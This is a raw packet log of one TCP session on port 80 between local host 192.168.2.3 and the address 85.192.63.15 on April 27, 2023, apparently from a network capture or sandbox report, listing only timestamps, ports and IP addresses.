Apr 27, 2023 07:42:00.340590000 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.340590000 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.340671062 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.341885090 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.341922045 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.341965914 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.341980934 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.341980934 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.342012882 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.342048883 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.342071056 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.342093945 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.348718882 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.348757029 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.348802090 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.348834038 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.348846912 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.348846912 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.348880053 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.348880053 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.348917961 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.348933935 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.348968029 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.350291014 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.350330114 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.350374937 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.350392103 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.350419998 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.350424051 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.350455046 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.350462914 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.350475073 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.350498915 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.350522041 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.350574970 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.352078915 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.352117062 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.352161884 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.352174997 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.352202892 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.352210045 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.352242947 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.352246046 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.352262020 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.352302074 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.355468988 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.355521917 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.355566025 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.355582952 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.355601072 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.355611086 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.355647087 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.355663061 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.357295990 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.357350111 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.357398987 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.357429981 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.357450008 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.357453108 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.357486010 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.357505083 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.357522964 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.357543945 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.357567072 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.358721018 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.358797073 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.358841896 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.358843088 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.358841896 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.358877897 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.358896017 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.358923912 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.358930111 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.358961105 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.358978033 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.359014034 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.380412102 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.380466938 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.380522966 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.380543947 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.380575895 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.380583048 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.380583048 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.380615950 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.380669117 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.381900072 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.381937981 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.381982088 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.382014036 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.382026911 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.382039070 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.382062912 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.382083893 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.382122993 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.385557890 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.385605097 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.385626078 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.385649920 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.385653019 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.385683060 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.385703087 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.385727882 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.385740042 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.385762930 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.385783911 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.385814905 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.538084984 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.563642025 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.606457949 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.606528044 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.606599092 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.606643915 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.606684923 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.606733084 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.606739044 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.606770039 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.606815100 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.606863022 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.606900930 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.606945038 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.606945038 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.606945992 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.606945992 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.606977940 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.619501114 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.619575024 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.619662046 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.619700909 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.619748116 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.619754076 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.619796991 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.619837046 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.619884968 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.619923115 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.619968891 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.620007992 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.620007992 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.620007992 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.620007992 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.620007992 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.620016098 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.620052099 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.620064974 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.620100975 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.620124102 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.620157957 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.620203972 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.620203972 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.620206118 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.620245934 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.620254040 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.620265007 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.620290041 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.620336056 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.620353937 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.620382071 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.620398045 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.620428085 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.620445013 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.620480061 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.620516062 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.620563030 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.620573044 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.620611906 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.620625019 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.620625019 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.620656967 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.620667934 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.620716095 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.622860909 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.622916937 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.622996092 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.623044014 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.623079062 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.623128891 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.623166084 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.623193979 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.623239994 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.632297993 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.632384062 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.632430077 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.632448912 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.632468939 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.632482052 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.632515907 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.632560968 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.632579088 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.632595062 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.632618904 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.632639885 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.632659912 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.632684946 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.632698059 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.632731915 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.632777929 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.632778883 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.632778883 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.632814884 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.632890940 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.633081913 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.633127928 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.633184910 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.633229971 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.633276939 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.633287907 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.633322954 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.633331060 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.633369923 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.633383036 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.633414030 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.633418083 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.633464098 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.633470058 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.633508921 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.633517981 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.633555889 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.633560896 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.633594036 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.633613110 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.633649111 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.634033918 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.634078979 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.634121895 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.634139061 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.634166956 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.634175062 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.634212971 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.634224892 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.634279966 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.634303093 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.634347916 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.634392977 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.634402037 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.634438038 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.634447098 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.634485006 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.634489059 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.634531021 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.634538889 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.634566069 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.634584904 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.634625912 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.635008097 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.635055065 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.635092974 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.635113001 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.635149956 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.635150909 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.645369053 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.645423889 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.645469904 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.645505905 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.645550966 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.645580053 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.645600080 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.645628929 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.645628929 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.645644903 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.645659924 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.645690918 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.645709991 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.645735025 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.645755053 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.645781040 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.645802021 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.645827055 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.645845890 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.645872116 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.645904064 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.645915985 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.645948887 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.645957947 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.645998001 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.646029949 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.646276951 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.646312952 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.646347046 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.646358013 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.646374941 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.646394014 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.646420002 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.646437883 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.646467924 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.646485090 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.646492958 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.646529913 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.646541119 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.646574020 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.646595001 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.646617889 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.646637917 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.646661997 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.646684885 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.646706104 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.646724939 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.646739006 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.646775007 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.646800041 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.646909952 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.646955013 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.646971941 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.646987915 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.647057056 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.647269964 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.647351980 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.647361994 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.647427082 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.647430897 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.647460938 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.647505999 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.647531986 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.647551060 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.647566080 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.647566080 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.647593975 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.647614956 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.647640944 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.647685051 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.647706985 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.647725105 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.647787094 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.648714066 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.648761988 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.648796082 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.648803949 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.648842096 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.648860931 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.648885965 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.648931026 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.648946047 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.648977041 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.649013996 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.649032116 CEST	49697	80	192.168.2.3	85.192.63.15
